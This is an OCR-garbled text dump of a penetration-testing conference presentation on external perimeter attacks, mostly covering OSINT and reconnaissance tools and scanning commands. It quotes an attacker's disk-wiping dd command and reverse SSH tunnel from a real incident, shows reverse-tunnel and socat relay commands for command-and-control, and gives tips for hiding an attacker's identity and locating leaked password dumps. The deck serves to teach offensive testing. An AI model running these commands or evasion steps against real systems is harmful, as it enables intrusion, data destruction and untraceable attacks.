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* QOver 7 years of experience in the field of Information Security

* Passionate about offensive and defensive security

* Working as a Principal Security Consultant at Threat Intelligence

* In my free time | develop security tools

* Presented at BlackHat USA in August 2019 (PowerShell-RAT)

Outside of Infosec land — | like photography

Py
(@\ https://github.com/Viralmaniar , https://twitter.com/maniarviral

@ https://www.linkedin.com/in/viralmaniar/ (@) https://viralmaniar.github.io/
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* Performing any hack attempts or tests without written permission from the
owner of the computer system is illegal.

* |f you recently suffered a breach and found techniques or tools illustrated in this
presentation, this neither incriminates my involvement in any way, nor implies
any connection between myself and the attackers.

* The tools and techniques remain universal and penetration testers and security
consultants often uses them during engagements.



What is External Pentest?

Infrastructure setup for attack

Reconnaissance methods and OSINT techniques

Common issues and misconfiguration in the external perimeter
Gain internal access to the network

Stay calm and quiet in the network and plant a backdoor
Identify crown jewels

Exfiltrate sensitive data

Key takeaways



ATT&CK Matrix for Enterprise

Knowledge base
of adversary
tactics and
techniques

Foundation for
the development

of specific threat
models and
methodologies

Consists of 3
major matrices:
* PRE-ATT&CK
 ATT&CK
* MOBILE




PRE-ATT&CK - Set of 15 different categories used by an attacker to plan an attack
 https://attack.mitre.org/tactics/pre/

OSINT Framework - OSINT framework focused on gathering information from free
tools or resources. The intention is to help people find free OSINT resources

* https://osintframework.com/

ISTAR - Intelligence, Surveillance, Target Acquisition and Reconnaissance
F2T2EA Model - Find, Fix, Track, Target, Engage and Assess Not used widely

F3EAD cycle - Find, Fix, Finish, Exploit, Analyze and Disseminate


https://osintframework.com/

What Crown Jewels Hackers are after?
Intellectual Health Records
i ' Property °

‘.;
@'Eﬂ Digital Currency Keys

Bank Statements

|

Credit Card
Numbers — .

ID’s-Passports |

PIs) # %9
'-’ Passwords and Private keys

a1

CONFIDENTIAL

ID’s — Drivers License Secret Deeds & Documents



* Not all systems and data are created equally

* In any given organisation, some of the data, systems, and applications are
more critical than others.

* Some are more exposed to risk, and some are more likely to be targeted

* Attackers are really good at identifying sensitive and high value data and
discovering the locations of who can access this data

* Monitor access controls and implement separation of duties



User Control Panel | Account Grid | Bulk Mail Options | FAQ | Contact | About |

Forum

- Last post
Mon § Dec

bitcoin

At this time [ am

Worried about your privacy? Use our ) g
Use PGP to protect your email content!
View our new Privacy Q&A!

Since 2001, VFEmail has provided businesses and end-users a quick and convenient way to ensure their own security when it comes to email.

VFEmail.net @VFEmail - Feb 11
Strangely, not all VMs shared the same authentication, but all were destroyed.

This was more than a multi-password via ssh exploit, and there was no ransom.
Just attack and destroy.

Q s 0 32 O 43 &

VFEmail.net @VFEmail - Feb 11 v
At this time, the attacker has formatted all the disks on every server. Every VM is
lost. Every file server is lost, every backup server is lost. NL was 100% hosted with
a vastly smaller dataset. NL backups by the provideer were intact, and service
should be up there.

Q 15 1 143 O 142 ™

VFEmail.net @VFEmail - Feb 11
nl101 is up, but no incoming email. | fear all US based data may be lost.

O 1 1 s QO 12 &

VFEmail.net @VFEmail - Feb 11

Caught the perp in the middle of formatting the backup server:

dd if=/dev/zero of=/dev/da0 bs=4194304 seek=1024 count=399559
via: ssh -v -oStrictHostKeyChecking=no -oLoglLevel=error
-oUserKnownHostsFile=/dev/null aktv@94.155.49.9 -R
127.0.0.1:30081:127.0.0.1:22 -N

Q 18 T3 121 QO 2713 M

VFEmail.net @VFEmail - Feb 11
This is not looking good. All externally facing systems, of differing OS's and
remote authentication, in multiple data centers are down.




D& krebsonsecurity.com,

£} Most Visited @ Getting Started [ Widgets | Django doc...

KrebsonSecurity

In-depth security news and investigation

15 Experts: Breach at IT Outsourcing Giant Wipro

Indian information technology (IT) outsourcing and consulting giant Wipro
Ltd, [NYSE:WIT] is investig sports that its own IT systems have been hacked and are
being used to launch attacks nst some of the company’s customers, multiple sources tell

KrebsOnSecurity. Wipro has refused to respond to questions about the alleged incident

Earlier this month, KrebsOnSecurity heard
independently from two trus sources that

ro — India’s thirc t IT outsourcing
company — was deal 1 a multi-month
intrusion from an assumed state-sponsored

attacker.

Both sources, who spoke on condition of
anonymity, said Wipro's systems were seen
being used as jumpir soints for digital
fishing expeditions geting at least a dozen

Wipro customer systems.

The security experts said Wipro's customers traced malicious and suspicious network
reconnaissance activity back to partner systems that were communicating directly with

Wipro's network.

On April 9, KrebsOnSecurity reached out to Wipro for comment. That prompted an email on
Apr. 10 from Vipin Nair, Wipro’s head of communications. Nair said he was traveling and

needed a few days to gather more information before offering an official response

On Friday, Apr. 12, Nair sent a statement that acknowledged none of the questions Wipro

was asked about an alleged security incident involving attacks against its own customers.

Entity
2019 Bulgarian revenue agency hack
Canva
Capital One
Desjardins
Facebook
Facebook
First American Corporation
Health Sciences Authority (Singapore)
Justdial
Ministry of Health (Singapore)
Mobile TeleSystems (MTS)
Quest Diagnostics
StockX
Truecaller
Woodruff Arts Center
Westpac
Australian National University
AerServ (subsidiary of InMobi)
Air Canada
Bell Canada
Bethesda Game Studios

Blank Media Games

Records
over 5,000,000
140,000,000
106,000,000
2,900,000
540,000,000
1,500,000
885,000,000
808,000
100,000,000
14,200
100,000,000
11,900,000
6,800,000
299,055,819
unknown

98,000

19 years of data

75,000
20,000
100,000

7,633,234

Organization type
government
web
financial
financial
social network

social network

financial service company

healthcare

local search
healthcare
telecommunications
Clinical Laboratory
retail

Telephone directory
arts group

financial

academic
advertising
transport

telecoms

gaming

gaming

https://en.wikipedia.org/wiki/List_of data_breaches

Method
hacked
hacked
hacked
inside job
poor security
accidentally uploaded
poor security
poor security
unprotected api

poor security/inside job

misconfiguration/poor security

poor security

hacked

unknown

poor security

hacked

hacked

hacked

hacked

hacked

accidentally published

hacked




Setup for Attack Infrastructure



* VPS server running Kali distribution. All malicious traffic will go from this
server

e Connect to VPS over VPN or TOR tunnel to avoid revealing of real IP
address in the connection logs

* Real attacker uses public Wi-Fi access point where they can hide behind
number of connections. Usually finds a blind spot to avoid video
surveillance

. Conrll’]ect to our setup from Live USB so that we leave no logs on the actual
machine



Setup — Traditional Attack Infrastructure

TOR network

Starbucks or Malls Target
Infrastructure
Free
Wi

Attacking
Box

Live USB Disk to
boot Machine

VPN service



* In the current setup there are high chances of being detected and having a
single point of failure

* |[n case the attacking server gets blacklisted, we would need to rebuild the
VPS server with necessary tools

* Blue team can perform reverse attack on VPS and take advantage of
vulnerabilities in attacking tools to hack the hacker



Setup — Resilient Attack Infrastructure

4.

Port Scan

; o
-_ Bruteforce

/ Phishing

C&C

Long term servers with Attacking servers -
all necessary tools relays




Reverse SSH Tunnels and SOCAT

root@C2-Servel $ :ssh -nNT -R 5555:localhost:443 <publ‘

ic_relay_ip>
: - — Reverse SSH Tunnel

root@Relayl password:

root@relayl $ : socat TCP4-LISTEN:443,bind=0.0.0.0, 0.0.0.0,fork TCP4:127.0.0.1:5555

|

socat - Multipurpose relay (SOcket CAT)



OSINT SOCMINT & GEOINT for External Pentest



Lampyre is a Windows-based Data Analysis tool that can
be used for all kinds of analysis including Crime,
critera 6 | Tess Geographic, Cyber Threat, and Financial.

List of requests

Address Cyber Security

Article urls

ASNs

v/| Haveibeenpwned search
v/ OpenPGP info
Card number /| Password search by email

Company number V| Threatcrowd search = -

Creientihs ' o : Domain Email Type Ip
Messenger

Crt.shID

it /] 1€Q account by email £ lampyre.io admin@lampyre.io admin 45.56.84.216 37.536501 -121.95¢

I CCi y phon mber
D ICQ account by phone numbe

Emails
Hashes Skype account by phone number
Hosts
IPs

IPs

Job IDs

License plate number

v
/| Skype account by email
v
v

Telegram account by phone number

v/| WhatsApp account by phone number

Service

'8

BQQLDI Q4B

/| Bookmate account by email

v/| Bookmate account by phone number
Linkedin id Caller ID info by phone number
Netblocks Deezer account by email
Nickname Duolingo account by email
Organisation GitHub account by email
Phone number Goodreads account by email
URLs

URLs

f® [0 B -& -

Gravatar account by email

»®

Nikeplus account by email

URLs for scan Runkeeper account by email

QRISISISIS IS IS IS

Y
QEH &
<

Usernames Strava account by email

Row count: 1 Rows selected: 0 Cells selected: 0
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Investigate

Maltego Community Edition 4.1.15 -ox °

Maltego comes pre-installed on Kali.

Colections Transforms Machines Collaboration Import | Export Windows

Entity Palette °

It supports APl communication to

= Cryptocurrency

@ Bitcon Address
Bitcoin Address

Bitcoin Transaction

LA ——

Ethereum Address.
Ethereum Address

Ethereum Transaction
Ethereum Transaction

= Devices

Desktop Computer
A personal computer in a form intended for regula

Mobile Computer
A portable computer suitable for use while travelir

Mobile Phone
A device which can make and receive telephone ¢

Smartphone
A mobie phone that offers more advanced compu
= Events

s Conversation (Email)
A conversation via email

Conversation (Phone)
A telephonic conversation

Incident
An event or occurrence (for instance a murder or

Meeting (Business)
A gathering of people for a commercial purpose

Meeting (Social)
A gathering of people for discussion or entertainr

= Groups

g Company
= Abusiness organization

Education Institution
An institution dedicated to education such as a sc

Gang
An organized group of criminals

Online Group
A socializing service on the Internet such as Face

Oraanization

' — Properties

Type

1P Range

— Dynamic properties
LastiP

AS number

Network owner

First IP

= Graph info

Weight

Incoming
Outgoing
Bookmark

Property View Hub Transform Inputs

74.207.224.0-74207.255255 |

74.207.255.255
17025

GNAXNET-AS Global Net Access|...
74.207.224.0

1054 entiies (34 nodes), 1096 links (43 edges)

software like Shodan and Threatminer.

dataprovider.com

dataprovider.com

Farsight DNSDB
Farsight Security, Inc

Cisco Threat Grid
Cisco Threat Grid

Shodan
Paterva

Transform Hub

e internet into a str...

threat inteligen

PATERVA CTAS CE
Paterva
tandard Paterva Transforms

FREE

CaseFile Entities
Paterva
nal entitie

CipherTrace
“ipherTrace

Kaspersky Lab
Kaspersky Lab

ZETAlytics Massive Passive
ZETAlytics

histo



steve@dev:~/spiderfoot$ python ./sfcli.py -s http://127.0.0.1:5009

s> ping

sf> # Looks good!
sf> exit
steve@dev:~/spiderfoot$ I

SpiderFoot queries over 100 public data
sources (OSINT) to gather intelligence
Provides insight into possible data leaks,
vulnerabilities or other sensitive
information such as public code repositories
Generates detailed report

2019-07-11 15:02:51



e Distributed platform of
scanners and honeypots, to
acquire, classify and correlate
different types of data by
scanning the entire Internet

s o il

e Allows an organisation to see
their Internet attack surface:

e Ports and Services
Exposure

* Possible Vulnerabilities
name e Accessible Remote

Desktops

domains * Invalid SSL Certificates

* Misconfigured Network
Shares

e Databases

certificates webservers frameworks domain risk score
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& C ® buzz.im_ l:l BUZZ.im -

¥ Most Visited @ Getting Started m Widgets | Django doc... J VirusTotal

m TELEGRAM MONITORING TELEGRAM AD EXCHANGE Telegra m Cha n ne IS -

Lyzem -

icense k X Telegram Analytics -

WYMALWAREBYTES PREMIUMUJ

License Key : sUY I 1
Found 354 results Product Name : Malwarebytes 3 Premium ® Access to Llcense keys to
Expires On : Lifetime

Max devices / Used : 1/ 2 Secu rity tOOIS

Active : Yes

WALL STREET ( e * Chat from public
Abg who get license k e Telegram channels
: : ONLY ON THIS CHANNEL
 Sep. 2019 0 e Password dumps
e Credit Card leaks

* Hacking tools

MESSAGES CHANNELS

@ RAKA ) @t

HMA KEY
te) : Auto-renewal ON



https://search.buzz.im/
https://tlgrm.eu/channels
https://lyzem.com/
https://tgstat.ru/en/search

<« Cc @ [OF ]
£ Most Visited @ Getting Started [E] Widgets | Djanc

TELEGAGO  password dump|

Private Stickers Contacts Widgets Telegraph Telescope Bots Public

Ha 2 dias gional unblock in
Password

t Nord VPN 30 days With Auto Re
d 04:25 ... Todays Dump smtp, im;

.. http:/itinyium.com/DU8 Droid Dump yium.com/DgV Free Password
. In oth iords, it only works if forgotten a password.

TOKEN http:
Structured d;

L c @ i google.com
£} Most Visited @ Gett

6 TELEGAGO vpn password|

Private Stick Contacts Widgets Telegraph Telescope Bots

king (Ann Loader, Password St s) cInjection Programs
.. UDEMY Udemy Premium nts Passwords With Courses

{YFEhegz ... Password: doomer5562

Nord Vpn Premium A
tflix Premium Account Passwords

ription: Premium ... Password: aspir

vpnbook password fo
uniormax? Juniorsrmax, 07:27. May 10.

Public

https://telegra.ph/Pojmat-narushitelya-Uchimsya-detektirovat-instrumenty- atak-na-Windows-
07-12

11 mion 2019 ... C ero NOMoLLbto MOKHO nonyuaTs konum obnacTeit namsatn LSA, SAM,
SECURITY , NTDS.dit, nosToMy ero MoXHO YBIAETb Ha PasHbIX CTAAMSX ...

Structured data

rainit

systemroot % fds% suee 148 2o Nids. dit A
i g e 4 b g D3 LS Nidls dit J4
Structured data

https://t me/s/budsamurai?before=333

10 mioH 2019 ... Boigop; namn sawwero NTDS.dit, coscem HemHoro cpefcTe 8 ofnake 1 Bal
BOCHMM3Ha4HbIe Naponu caagyTes o4erb ObicTpo. 4.3K views 01:12. February 18 .

Structured data

https://telegra.ph/Audit-sobytij-Windows-02-07
5 dpe 2017 ... ... N03BONSET BLINOMHATL paanuyHbie onepawyi ¢ 6a3oii gaHHsx AD B OHMaiH
WK ocbriaiiH pexume (HenocpecTBerHo ¢ daiinom ntds.dit).

Structured data




* Easiest way to attack crown jewels

* s3-leaks - - Keeps track of data
breach via open S3 buckets

* s3-inspector -
* S3Scanner -

€)> C @

%¥ Most Visited @ Getting Started ﬂ'v\’\dgets;DJango doc... 2\;’\rus'a:a

TRAYHAT
WARFARE

Files Buckets ast Update
g 358 of 952 million () u 84955 of 217293 ) @ 08-September-2019



https://github.com/nagwww/s3-leaks
https://github.com/kromtech/s3-inspector
https://github.com/sa7mon/S3Scanner

Search engines (Google, Bing, Yahoo, Baidu)

https://virustotal.com/ - Search for “domain:target.com” and virustotal will
provide extensive information in addition to Observed subdomains

https://dnsdumpster.com — The name says it all. Enter the target domain, hit
search, profit! — You can download the Excel Spreadsheet and view the graphs

https://crt.sh/?q=%25target.com — Sometimes SSL is a goldmine of information.
Use this site by searching for “%target.com” and it’ll get back with subdomains

https://censys.io — Not great but has some useful information sometimes
https://searchdns.netcraft.com/ — Another to keep an eye on

https://www.shodan.io — Shodan is an infrastructure based spider with an
associated information caching database that is made predominantly for security
professionals. It has historical and current data on a great numbers of the
Internet’s servers, including seen-subdomains, server versioning, and much more



Subbrute — A DNS meta-query spider that enumerates DNS records, and
subdomains

dnscan — a python wordlist-based DNS subdomain scanner

Nmap )— Yes it’s a port scanner, but it can bruteforce subdomains too (check nmap
scripts

Recon-Ng — The recon-ng framework has a brute _hosts module that allows to
bruteforce subdomains

DNSRecon — A powerful DNS enumeration script

Fierce — A semi-lightweight enumeration scanner

Gobuster — Alternative directory and file busting tool written in Go

DNSenum — Offers recursive and threaded subdomain enumeration

AltDNS — offers bruteforcing based on permutations of already found domains


https://github.com/TheRook/subbrute
https://github.com/rbsec/dnscan
https://nmap.org/nsedoc/scripts/dns-brute.html
https://bitbucket.org/LaNMaSteR53/recon-ng
http://tools.kali.org/information-gathering/dnsrecon
https://www.aldeid.com/wiki/Fierce
https://github.com/OJ/gobuster
https://github.com/fwaeytens/dnsenum
https://github.com/infosec-au/altdns

4 IO %

GO gle inurl:OrganizationChart.cc

Q Al [ Images [ Maps

About 99 results (0.26 seconds)

Full name




< c @ D& racketreach.co,

L3 Most Visited @ Getting Started  [] Widgets | Django doc... 2] VirusTotal

Name Company Location Contact Info

Viral Maniar Threat Search:
Melbourne Intelligence Melbourne threatintelligence.com, gmail.com,
Australia Pty Ltd Australia +more

Company Profile a Management
Breno Cunha

~ Threat
Senior 2 < Found 1 email: neurotech.com.br
Intelligence Australia

Pty Ltd

Security
Consultant

Sandeep Ghai

Threat Intelligence Pty Ltd is a company based in Sydney, New South Wales, AU Senior Threat Search:

s > slligence.com, gmail.c
DevOps / Ibtaliiosncs threatintelligence.com, gmail.com,

| Cloud Pty Ltd - +more
Engineer

@ Website t reat el Damian Sydney,

Threat b fhas
Harvey S — New South Found 2 emalls: &+ Get Contact
) Revenue $2.40 Millic Anz Business Wales vormetric.com, rsa.com

Pty Ltd
Manager Australia
L Employees

® Address

) Web Rank Search:

Paul Kali Threat
raul Kalinin threatintelligence.com, gmail.com,
Intelligence Australia

+
Pty Ltd more

Find email for Threat Intelligence Pty Ltd employees vdney,

Ty Miller Threat ils-
Search from 12 Threat Intelligence Pty Ltd employees, RocketReach vall emails and finds alternate emails & phone for free Y g1 New South Found:2iemalis: &+ Get Contact
Managing Intelligence gmail.com, purehacking.com

] Director Pty Ltd Weles s h
1 ectol 3 earch: phones available on +Phone plans
Search Australia 5 3

Company Profile Email Format Management

Threat Intelligence Pty Ltd uses 1 emall formats, with first *." last (ex. jane.doe@threatintelligence.com) being used 100.0% of the time.

Threat Intelligence Pty Lid's Emall Format




threatintelligence.com

4 email addresses

t miller@threatintelligence.com

http://oasis-open.org/news/announcements/call-for-participation-oasis-cyber-thr...

i o@threatintelligence.com

¢ eers@threatintelligence.com

a rew.vanderstock@threatintelligence.com

http://oasis-open.org/news/announcements/call-for-participation-oasis-cyber-thr...

Sign up to uncover the email addresses, get the full results, search filters, CSV downloads

and more. Get 50 free searches/month.

Create a free account

Domain Search

Itsupport@markethero.io ®

jd@markethero.io @




linkedin2username

T * Generates username lists from company’s

I |\
L7 —71 |\ .
L L/ S LinkedIn page
| /_\ \ /
linkedin2username
e * Here's what you get:
github.com/initstring
usage: linkedin2username.py [-h] [-p PASSWORD] [-n DOMAIN] [-d DEPTH]
[-s SLEEP] [-x PROXY] [-k KEYWORDS] [-g]
username company
positional arguments:
username A valid LinkedIn username.
company Company name exactly as typed in the company linkedin
profile page URL. . .
$ python linkedin2username.py
optional arguments: .
-h, --help show this help message and exit myname@emaﬂcom Uber'com
-p PASSWORD, --password PASSWORD
Specify your password in clear-text on the command
line. If not specified, will prompt and obfuscate as $ python |inkedin2username_py
you type. .
_n DOMAIN, --domain DOMATN myname@email.com uber-com -d 5-n 'uber.com'




FOCA e AL

Weould ":.l\l ee that
FOCA TEAM makes »
(‘."0".'\’_‘.‘" 19t On
ot web site? '

"CEQ" "email" "@" "Name" "Phone" filetype:csv OR filetype:xls OR filety LA

XS fortune 1000
assets.time.com/cm/fortune-data.../2016_FORTUNE_1000_w_Contacts_Sample.xls ~

- - WEBSITE, CEO NAMERETURN TO MAIN DATA, CEO TITLE, Email, Office Phone, Office
Ext, Direct Dial, CFO NAME, CFO TITLE, Email, Office ...

*5 Eortune 1000 Companies List and Contact Info - Boolean Strings

booleanstrings.com/wp-content/uploads/2014/01 /fortune1000-2012.xls ~

)

Phone, Email Format, Email Format 2, General Email, CEO Name, CEQ Email, Website,
10 ...



& _ Aplicaciones v Lugares v  X-terminal-emulator ¥ lunago12 6:57:32PM
U Ir .

root@p4r4d4x: ~/Desktop/Osinit/InstagramOSINT
Nidgets | Django doc... z] VirusTotal

root@p4r4d4x: ~/Desktop/Osinit/InstagramOSINT 150x35
:~/Desktop/0sinit/InstagramOSINT# 1s -1
‘ ‘]Mtag/mm total 36
-rw-r--r-- 1 root root 1972 ago 12 18:55 banner.py
-rw-r--r-- 1 root root 9387 ago 12 18:55 InstagramOSINT.py
-rwxr-xr-x 1 root root 11164 ago 12 18:55 main.py
-rw-r--r-- 1 root root 1508 ago 12 18:55 README.md
-rw-r--r-- 1 root root 22 ago 12 18:55 requirements.txt
:~/Desktop/0sinit/InstagramOSINT# sudo python3 main.py
usage: main.py [-h] --username USERNAME [--downloadPhotos]
main.py: error: the following arguments are required: --username
:~/Desktop/0sinit/InstagramOSINT# sudo python3 main.py --username sharon_cg712
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https://t.co/vvth6qth4j
https://t.co/dOuvDOMaZd
http://otzberg.net/iguserid/ 
http://codeofaninja.com/tools/find-instagram-user-id …
https://t.co/ixzuKtwSNR
https://github.com/althonos/InstaLooter
https://github.com/akurtovic/InstaRaider
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echosec

() Multiple v m CLEAR CJaWl ° Information discovery by
- v monitoring various social

Bethesda .

media

* Allows one to set a radius
or exact location

Arlingtot




- C @ D localhost

SOCIALPATH
* E
~ .‘t.‘-‘ ~
W SEARCH o Y
SocialPa

= EURTPOL

" Y

AY

Y E AR S

europol
User does not exist
Similar accounts

europol
European Union's Agency for Law Enforcement Coéperatiom. Follow us on https://t.co/w65HP1tIZz &
https://t.co/9tbKZpWgoW
Followers: 88349
Friends: 882
Favourites: 9462

europol
Karma: 1
Joined: 2012-05-27 08:58:10

* SocialPath is simple browser
application to find accounts
across social media — Facebook,
Instagram, Twitter, Reddit and
Stackoverflow.

* Collected data is sorted according
words frequency, hashtags,
timeline, mentions, similar
accounts and presented as charts
with the help of D3js.

* It uses Django as backend
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llferay.com

V
ENTERPRISE ‘50?(\“

PORTAL

OTHER TOPICS

Ly
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Top 64 results of about 64 for liferay.com

Build portals, intranets, websites and connected experiences on the most extensible di

Liferay - Wiki
Liferay, Inc., is an open-source company that provides free documentation and paid p|
enterprise

Powerful Web Applications. Enterprise developers can hit the ground running with our|
variety of

Liferay Portal ist eine lizenzkostenfreie Open-Source-Software, die in Unternehmen al

The Life Distinction - dev.liferay.com

Your web presence is a big deal, and the software platform that runs it must be up to
your

Contribute to liferay/liferay-portal development by creating an account on GitHub.

rtal downloa: L e.net Cr
Liferay Portal is the world's leading enterprise open source portal framework, offering
service ...

Lifer

Learn about working at Liferay. Join LinkedIn today for free. See who you know at Lifg

Portal web d'intercanvi d'idees creatives, confeccionat en tecnologia JEE i Liferay com
intercambio de ideas creativas, confeccionado en tecnologia JEE y Liferay como gestol

Answer The Public -
https://answerthepublic.com

Carrot2 -
http://search.carrot2.org

Cluuz - http://www.cluuz.com

Exalead -
http://www.exalead.com

iISEEK - http://iseek.com
Yippy - http://yippy.com



* EyeWitness - EyeWitness is designed to take screenshots of websites,
provigle some server header info, and identify default credentials if
possible.

* Gowitness - a golang, web screenshot utility using Chrome Headless

 HTTPScreenShot - HTTPScreenshot is a tool for grabbing screenshots and
HT(Ij\/IfL of large numbers of websites. The goal is for it to be both thorough
and fast



Nmap

* nmap —sV —A -p- -0A outputfile x.x.x.x-x --version intensity 0

Standard service detection

Detect OS and services

Scan ALL ports (65535)

Save Output to all formats

* nmap --script-updated

Target host, range or subnet

Lighter banner-grabbing detection (0)
— Hacker Friendly

Aggressive service detection (5)
— Noisy



Nmap — DNS Brute

root@hell: ~

File Edit View Search Terminal Help

root@hell:~# nmap --script dns-brute --script-args dns-brute.domain=microsoft.com,dns-brute.threads=6

Starting Nmap 7.00 ( https://nmap.org ) at 2016-05-09 06:55 EDT
Pre-scan script results:

| dns-brute:

| DNS Brute-force hostnames:

| mail.microsoft.com - 167.220.71.19

| mail.microsoft.com - 157.58.197.10

| mail2.microsoft.com - 131.107.115.215
| ftp.microsoft.com - 134.170.188.232

| mail3.microsoft.com - 131.107.115.214
| demo.microsoft.com - 65.55.39.10

| demo.microsoft.com - 64.4.6.100

| dev.microsoft.com - 104.87.22.205

(| owa.microsoft.com - 131.107.0.91

| owa.microsoft.com - 131.107.1.90

| owa.microsoft.com - 131.107.1.89

| owa.microsoft.com - 131.107.1.91

| alerts.microsoft.com - 65.55.206.154
| manage.microsoft.com - 134.170.168.254
| help.microsoft.com - 40.127.139.224

| helpdesk .microsoft.com - 191.239.7.31
| home.microsoft.com - 40.127.139.224

| mobile.microsoft.com - 65.55.186.235
| shop.microsoft.com - 23.96.52.53




MVlasscan
65536 UNVERIFIED HOSTS (A LARGE TARGETS ASN)

Tool Time to run Found

masscan 11m4.164s 196

masscan

-p1,3-4,6-7,9,13,17,19-26,30,32-33,37,42-43 49 53,70,79-85,88-90,99-100,106,109-111,113,119,125,130»,139,143-144,146,161,163,179,199,211-212,222,254-256, 259,264 280,301,306,311,
340,366,380,406-407,416-417,425 427,443-445 A58 464-465,481,497,500 512-515,524 541,543-545 5.8 554-555 563,587,593 616-617,625,631,636,646,648,666-668 683,687 691,700,705
,711,714,720,722,726,749,765,777,783,787,800-801,808,843,873,880,888,898,900-903,911-912,981 /487,990,992-993,995,999-1002,1007,1009-1011,1021-1100,1102,1104-1108,1110-111

4,1117,1119,1121-1124,1126,1130-1132,1137-1138,1141,1145,1147-1149,1151-1152,1154,1163-1156,1169,1174-1175,1183,1185-1187,1192,1198-1199,1201,1213,1216-1218,1233-1234,
1236,1244,1247-1248,1259,1271-1272,1277,1287,1296,1300-1301,1309-1311,1322,1328,1334,135.2,1417,1433-1434,1443,1455,1461,1494,1500-1501,1503,1521,1524,1533,1556,1580,15
83,1594,1600,1641,1658,1666,1687-1688,1700,1717-1721,1723,1755,1761,1782-1783,1801,1805,1812,1839-1840,1862-1864,1875,1900,1914,1935,1947,1971-1972,1974,1984,1998-2010
,2013,2020-2022,2030,2033-2035,2038,2040-2043 20452049 2065,2068,2099-2100,2103,2105-.107,2111,2119,2121,2126,2135,2144,2160-2161,2170,2179,2190-2191,2196,2200,2222 2

251,2260,2288,2301,2323,2366,2381-2383,2393-2394,2399,2401,2492,2500,2522,2525,2557,2/,01-2602,2604-2605,2607-2608,2638,2701-2702,2710,2717-2718,2725,2800,2809,2811,286
9,2875,2009-2910,2020,2967-2968,2998,3000-3001,3003,3005-3007,3011,3013,3017,3030-30/51,3052,3071,3077,3128,3168,3211,3221,3260-3261,3268-3269,3283,3300-3301,3306,3322-
3325,3333,3351,3367,3369-3372,3389-3390,3404,3476,3493,3517,3527,3546,3551,3580,365 4, 3689-3690,3703,3737,3766,3784,3800-3801,3809,3814,3826-3828,3851,3869,3871,3878,38
80,3889,3905,3014,3918,3020,3945,3971,3086,3995,3098,4000-4006,4045 4111,4125-412( 7129,4224 4242 4279 4321,4343 4443-4446, 4449 4550 A567 4662,4848,4899-4900,4998 5000
-5004,5009,5030,5033,5050-5051,5054,5060-5061,5080,5087,5100-5102,5120,5190,5200,£.214,5221-5222,5225-5226,5269,5280,5298,5357,5405,5414,5431-5432,5440,5500,5510,5544,5

550,5555,5560,5566,5631,5633,5666,5678-5679,5718,5730,5800-5802,5810-5811,5815,5822,5825,5850,5859,5862,5877,5900-5904,5906-5907,5910-5911,5915,5922,5925,5950,5952,595
9-5063,5087-5989,5998-6007,6009,6025,6059,6100-6101,6106,6112,6123,6129,6156,6346,6389,6502,6510,6543,6547,6565-6567,6580,6646,6666-6669,6689,6692,6699,6779,6788-6789,

6792,6839,6881,6901,6969,7000-7002,7004,7007,7019,7025,7070,7100,7103,7106,7200-7201,7402,7435,7443,7496,7512,7625,7627,7676,7741,7777-7778,7800,7911,7920-7921,7937-79
38,7999-8002,8007-8011,8021-8022,8031,8042,8045,8080-8090,8093,8099-8100,8180-8181,8192-8194,8200,8222,8254,8290-8292,8300,8333,8383,8400,8402,8443,8500,8600,8649 8651
-8652,8654,8701,8800,8873,8888,8899,8994,9000-9003,9009-9011,9040,9050,9071,8080-9081,9090-9091,8099-9103,9110-9111,9200,9207,9220,9290,9415,9418,9485,9500,0502-9503,9

535,9575 9593-9595 9618,9666,9876-9878,9898,9900,9917,9929,9943-9944,9968,9998-10004,10009-10010,10012,10024-10025, 10082,10180,10215,10243,10566,10616-10617,10621,10

626,10628-10629,10778,11110-11111,11967,12000,12174,12265,12345,13456,13722,13782-13783, 14000, 14238, 14441-14442, 15000,15002-15004, 15660, 15742, 16000-16001,16012, 1601
6,16018,16080,16113,16992-16993,17877,17988,18040,18101,18988,19101,19283,19315,19350,19780,19801,19842,20000,20005,20031,20221-20222,20828,21571,22939,23502,24444,2
4800,25734-25735,26214,27000,27352-27353,27355-27356,27715,28201,30000,30718,30051,31038,31337,32768-32785,33354,33899,34571-34573,35500,38292,40193,40911,41511 425
10,44176,44442-44443,44501,45100,48080,49152-49161,49163,49165,49167,49175-49176,49400,49999-50003,50006,50300,50389,50500,50636,50800,51103,51493,52673,52822,52848
52869,54045 54328 55055-55056 55555, 55600,56737-56738,57294,57797,58080,60020,60443 61532,61900,62078,63331,64623 64680,65000,65129,65389,280,4567,7001,8008,9080 -iL

STARGET_LIST --max-rate 100000 -oG $TARGET_OUTPUT

nmap 00 77z

JASON HADDIX — Bug Bounty Hunter Methodology
Discovery (Expanding your scope like a boss)



XPROBE

root@kali:~#
root@kali:~# xprobe2 192.168.1.132f

[-] fingerprint:tcp_hshake Module execution aborted (no open TCP ports known)
[-] fingerprint:smb need either TCP port 139 or 445 to run

[-]1 fingerprint:snmp: need UDP port 161 open

[+] Primary guess:
[+] Host 192.168.1.
[+] Other guesses:

132 RuJLing 0S: "Linux Kernel 2.6.11"

[+] Host 192.168.1.132 Running 0S: "Linux Kernel 2.4.268" (Guess probability:
[+] Host 192.168.1.132 Running 0S: "Linux Kernel 2.4.38" (Guess probability:
[+] Host 192.168.1.132 Running 0S: "Linux Kernel 2.4.22" (Guess probability:
[+] Host 192.168.1.132 Running 0S: "Linux Kernel 2.4.28" (Guess probability:
[+] Host 192.168.1.132 Runn1n9 OS: "Linux Kernel 2.4.24" (Guess probability:

95%)
95%)
95%)
95%)
95%)

nroa

POt

root@kali:~# pOf -i eth® -p -o /tmp/pOf4.log

--- pOf 3.09b by Michal Zalewski <lcamtuf@coredump.cx> --
[+] Closed 1 file descriptor.
[+] Loaded 322 signatures from '/etc/pOf/pOf.fp'.
[+] Intercepting traffic on interface 'eth0'.
[+] Default packet filtering configured [+VLAN].
[+] Log file '/tmp/p0f4.log' opened for writing.
[+] Entered main event loop.
NUsers\ 2C:\Users MDesktopsncllintsnc.exe 192.168.1.133 1368
set
URELGIEY T EY
J;:;z‘t:aif:ﬂﬁ”“z:::“:am
dla iakldgwg .
sd as ldhakdhajkd
taajdhas jlkdhaks jdh
sjakdhakhdas jkdhak

-[ 192.168.1.135/1090 -> 192.168.1.133/1300 (syn) ]-

client = 192.168.1.135/1090
0s = Wiindows 7 or 8
dist =0

params = none

raw_sig

4:128+0:0:1460:8192,8:mss,nop,ws,nop,nop, sok:df, i



Dirble
Cookies
Custom headers
Extensions
HTTP basic auth
Listable directory optimisation
Listable directory scraping
Output file
Proxy
Recursion
Speed
Status code blacklisting
Status code whitelisting
Threading
Throttle
Tune not found based on size/redirection
URL list

User agents

Dirb

i ]
Dirsearch  Gobuster HTTP —

A » —
X HTTPS i—

